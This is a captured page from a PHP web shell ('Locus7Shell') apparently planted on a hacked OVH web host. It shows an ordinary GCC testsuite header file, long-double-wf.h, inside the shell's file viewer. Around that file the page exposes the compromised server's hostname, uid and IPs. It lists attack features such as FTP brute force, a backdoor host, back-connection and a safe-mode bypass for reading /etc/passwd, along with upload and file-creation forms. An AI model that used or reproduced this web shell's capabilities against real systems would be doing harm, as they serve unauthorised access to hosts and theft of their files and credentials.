Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/s390/vector/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     long-double-wf.h (3.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#ifndef LONG_DOUBLE_WF_H
#define LONG_DOUBLE_WF_H 1

#include <math.h>

#define ADD(x, y, z) ((x) + (z))
#define DIV(x, y, z) ((x) / (z))
#define FABSL(x, y, z) (fabsl (y))
#define ISINFL(x, y, z) (isinfl (x) ? (y) : (z))
#define MUL(x, y, z) ((x) * (z))
#define MUL_ADD(x, y, z) ((x) * (y) + (z))
#define MUL_SUB(x, y, z) ((x) * (y) - (z))
#define NEG(x, y, z)                                                          \
  ({                                                                          \
    volatile long double r = -(y);                                            \
    r;                                                                        \
  })
#define NEG_MUL_ADD(x, y, z) NEG (0, MUL_ADD (x, y, z), 0)
#define NEG_MUL_SUB(x, y, z) NEG (0, MUL_SUB (x, y, z), 0)
#define QUIET_IFEQUAL(x, y, z) ((x) == (y) ? (z) : 0)
#define QUIET_IFGREATER(x, y, z) (__builtin_isgreater (x, y) ? (z) : 0)
#define QUIET_IFLESS(x, y, z) (__builtin_isless (x, y) ? (z) : 0)
#define QUIET_IFUNORDERED(x, y, z) (__builtin_isunordered (x, y) ? (z) : 0)
#define SIGNALING_IFEQUAL(x, y, z) (((x) >= (y) && (x) <= (y)) ? (z) : 0)
#define SIGNALING_IFGREATER(x, y, z) ((x) > (y) ? (z) : 0)
#define SIGNALING_IFLESS(x, y, z) ((x) < (y) ? (z) : 0)
#define ROUNDL(x, y, z) (roundl (y))
#define SQRTL(x, y, z) (sqrtl (y))
#define SUB(x, y, z) ((x) - (z))

#define LONG_DOUBLE_WF(op)                                                    \
  long double test (                                                          \
      long double x0, long double x1, long double x2, long double x3,         \
      long double x4, long double x5, long double x6, long double x7,         \
      long double x8, long double x9, long double x10, long double x11,       \
      long double x12, long double x13, long double x14, long double x15)     \
  {                                                                           \
    while (x15 < 1E+30)                                                       \
      {                                                                       \
    x0 = op (x1, x2, x3);                                                 \
    x1 = op (x2, x3, x4) + 1;                                             \
    x2 = op (x3, x4, x5) + 2;                                             \
    x3 = op (x4, x5, x6) + 3;                                             \
    x4 = op (x5, x6, x7) + 4;                                             \
    x5 = op (x6, x7, x8) + 5;                                             \
    x6 = op (x7, x8, x9) + 6;                                             \
    x7 = op (x8, x9, x10) + 7;                                            \
    x8 = op (x9, x10, x11) + 8;                                           \
    x9 = op (x10, x11, x12) + 9;                                          \
    x10 = op (x11, x12, x13) + 10;                                        \
    x11 = op (x12, x13, x14) + 11;                                        \
    x12 = op (x13, x14, x15) + 12;                                        \
    x13 = op (x14, x15, x0) + 13;                                         \
    x14 = op (x15, x0, x1) + 14;                                          \
    x15 = op (x0, x1, x2) + 15;                                           \
      }                                                                       \
    return x15;                                                               \
  }

#endif

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0063 ]--